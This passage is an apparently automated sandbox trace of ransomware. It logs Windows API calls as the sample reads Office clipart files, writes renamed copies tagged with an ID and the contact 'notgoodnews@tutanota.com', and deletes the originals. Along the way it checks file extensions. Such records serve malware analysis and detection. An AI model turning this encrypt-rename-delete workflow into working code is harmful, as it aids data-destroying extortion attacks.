lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0267.521] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0267.522] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.522] SetEndOfFile (hFile=0x370) returned 1 [0267.523] CloseHandle (hObject=0x370) returned 1 [0267.523] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.523] SetEndOfFile (hFile=0x3ac) returned 1 [0267.629] CloseHandle (hObject=0x3ac) returned 1 [0267.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0267.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0267.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.631] lstrlenW (lpString=".doc") returned 4 [0267.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.631] lstrlenW (lpString=".docx") returned 5 [0267.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.631] lstrlenW (lpString=".pdf") returned 4 [0267.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.631] lstrlenW (lpString=".xls") returned 4 [0267.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.632] lstrlenW (lpString=".xlsx") returned 5 [0267.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.632] lstrlenW (lpString=".ppt") returned 4 [0267.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.632] lstrlenW (lpString=".zip") returned 4 [0267.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.632] lstrlenW (lpString=".rar") returned 4 [0267.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.632] lstrlenW (lpString=".bz2") returned 4 [0267.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.632] lstrlenW (lpString=".7z") returned 3 [0267.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.633] lstrlenW (lpString=".dbf") returned 4 [0267.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.633] lstrlenW (lpString=".1cd") returned 4 [0267.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.633] lstrlenW (lpString=".jpg") returned 4 [0267.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.634] lstrlenW (lpString=".doc") returned 4 [0267.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0267.634] lstrlenW (lpString=".docx") returned 5 [0267.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0267.634] lstrlenW (lpString=".pdf") returned 4 [0267.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0267.634] lstrlenW (lpString=".xls") returned 4 [0267.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0267.634] lstrlenW (lpString=".xlsx") returned 5 [0267.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0267.634] lstrlenW (lpString=".ppt") returned 4 [0267.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0267.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.635] lstrlenW (lpString=".zip") returned 4 [0267.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0267.635] lstrlenW (lpString=".rar") returned 4 [0267.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0267.635] lstrlenW (lpString=".bz2") returned 4 [0267.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0267.635] lstrlenW (lpString=".7z") returned 3 [0267.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0267.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.635] lstrlenW (lpString=".dbf") returned 4 [0267.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0267.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.636] lstrlenW (lpString=".1cd") returned 4 [0267.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0267.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 63 [0267.636] lstrlenW (lpString=".jpg") returned 4 [0267.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0267.636] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0267.636] lstrlenW (lpString="BL00392_.WMF") returned 12 [0267.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.637] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=27050) returned 1 [0267.637] CloseHandle (hObject=0x3ac) returned 1 [0267.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0267.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0267.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.639] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.639] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0267.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0267.640] GetLastError () returned 0x0 [0267.640] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x69aa, lpOverlapped=0x0) returned 1 [0267.950] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0267.957] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0267.958] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.958] SetEndOfFile (hFile=0x370) returned 1 [0268.529] CloseHandle (hObject=0x370) returned 1 [0268.530] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.530] SetEndOfFile (hFile=0x3ac) returned 1 [0269.522] CloseHandle (hObject=0x3ac) returned 1 [0269.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0269.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.524] lstrlenW (lpString=".doc") returned 4 [0269.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.524] lstrlenW (lpString=".docx") returned 5 [0269.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.525] lstrlenW (lpString=".pdf") returned 4 [0269.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.525] lstrlenW (lpString=".xls") returned 4 [0269.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.525] lstrlenW (lpString=".xlsx") returned 5 [0269.525] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.525] lstrlenW (lpString=".ppt") returned 4 [0269.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.525] lstrlenW (lpString=".zip") returned 4 [0269.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.525] lstrlenW (lpString=".rar") returned 4 [0269.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.525] lstrlenW (lpString=".bz2") returned 4 [0269.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.526] lstrlenW (lpString=".7z") returned 3 [0269.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.526] lstrlenW (lpString=".dbf") returned 4 [0269.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.526] lstrlenW (lpString=".1cd") returned 4 [0269.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.526] lstrlenW (lpString=".jpg") returned 4 [0269.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.527] lstrlenW (lpString=".doc") returned 4 [0269.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.527] lstrlenW (lpString=".docx") returned 5 [0269.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.527] lstrlenW (lpString=".pdf") returned 4 [0269.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.527] lstrlenW (lpString=".xls") returned 4 [0269.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.527] lstrlenW (lpString=".xlsx") returned 5 [0269.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.528] lstrlenW (lpString=".ppt") returned 4 [0269.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.528] lstrlenW (lpString=".zip") returned 4 [0269.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.528] lstrlenW (lpString=".rar") returned 4 [0269.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.528] lstrlenW (lpString=".bz2") returned 4 [0269.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.528] lstrlenW (lpString=".7z") returned 3 [0269.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.528] lstrlenW (lpString=".dbf") returned 4 [0269.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.529] lstrlenW (lpString=".1cd") returned 4 [0269.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0269.529] lstrlenW (lpString=".jpg") returned 4 [0269.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.531] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.531] lstrlenW (lpString="BL00648_.WMF") returned 12 [0269.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0269.532] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=11500) returned 1 [0269.532] CloseHandle (hObject=0x3ac) returned 1 [0269.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0269.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0269.533] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.533] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0269.534] GetLastError () returned 0x0 [0269.534] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x2cec, lpOverlapped=0x0) returned 1 [0269.559] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0269.563] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0269.563] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.564] SetEndOfFile (hFile=0x3a4) returned 1 [0269.564] CloseHandle (hObject=0x3a4) returned 1 [0269.564] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0269.565] SetEndOfFile (hFile=0x3ac) returned 1 [0269.572] CloseHandle (hObject=0x3ac) returned 1 [0269.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0269.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0269.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.575] lstrlenW (lpString=".doc") returned 4 [0269.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.575] lstrlenW (lpString=".docx") returned 5 [0269.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.575] lstrlenW (lpString=".pdf") returned 4 [0269.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.575] lstrlenW (lpString=".xls") returned 4 [0269.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.575] lstrlenW (lpString=".xlsx") returned 5 [0269.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.575] lstrlenW (lpString=".ppt") returned 4 [0269.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.576] lstrlenW (lpString=".zip") returned 4 [0269.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.576] lstrlenW (lpString=".rar") returned 4 [0269.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.576] lstrlenW (lpString=".bz2") returned 4 [0269.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.826] lstrlenW (lpString=".7z") returned 3 [0269.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.827] lstrlenW (lpString=".dbf") returned 4 [0269.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.827] lstrlenW (lpString=".1cd") returned 4 [0269.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.827] lstrlenW (lpString=".jpg") returned 4 [0269.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.828] lstrlenW (lpString=".doc") returned 4 [0269.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.828] lstrlenW (lpString=".docx") returned 5 [0269.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.828] lstrlenW (lpString=".pdf") returned 4 [0269.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.828] lstrlenW (lpString=".xls") returned 4 [0269.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.828] lstrlenW (lpString=".xlsx") returned 5 [0269.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.828] lstrlenW (lpString=".ppt") returned 4 [0269.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.829] lstrlenW (lpString=".zip") returned 4 [0269.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.829] lstrlenW (lpString=".rar") returned 4 [0269.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.829] lstrlenW (lpString=".bz2") returned 4 [0269.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.829] lstrlenW (lpString=".7z") returned 3 [0269.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.829] lstrlenW (lpString=".dbf") returned 4 [0269.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.830] lstrlenW (lpString=".1cd") returned 4 [0269.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0269.830] lstrlenW (lpString=".jpg") returned 4 [0269.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.830] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0269.831] lstrlenW (lpString="BL00932_.WMF") returned 12 [0269.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0269.964] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=19476) returned 1 [0269.964] CloseHandle (hObject=0x384) returned 1 [0269.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0270.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.101] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.101] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0270.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0270.102] GetLastError () returned 0x0 [0270.102] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x4c14, lpOverlapped=0x0) returned 1 [0270.118] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0270.124] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0270.124] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.124] 